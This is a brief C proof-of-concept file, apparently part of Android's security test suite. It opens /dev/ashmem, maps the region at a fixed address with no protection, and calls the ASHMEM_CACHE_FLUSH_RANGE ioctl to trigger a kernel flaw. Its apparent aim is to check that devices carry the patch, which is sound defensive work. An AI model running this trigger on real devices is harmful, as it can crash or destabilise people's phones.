| /** |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| #define _GNU_SOURCE |
| #include <fcntl.h> |
| #include <sys/ioctl.h> |
| #include <sys/mman.h> |
| #include <stdio.h> |
| #include "local_poc.h" |
| |
| |
| int main() { |
| int fd; |
| int ret; |
| uint64_t mmap_ret; |
| |
| fd = open("/dev/ashmem", 0, 0); |
| if (fd < 0) { |
| return -1; |
| } |
| |
| ret = ioctl(fd, ASHMEM_SET_SIZE, 0x1000); |
| if (ret < 0) { |
| return -1; |
| } |
| |
| mmap_ret = (uint64_t) mmap((void *) 0x7f0000000 /*addr*/, 0x1000 /*length*/, 0x0 /*prot*/, |
| 0x12 /*flags=MAP_FIXED|MAP_PRIVATE*/, fd, 0x0 /*offset*/); |
| if (mmap_ret == MAP_FAILED) { |
| return -1; |
| } |
| |
| ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, NULL); |
| if (ret < 0) { |
| return -1; |
| } |
| return 0; |
| } |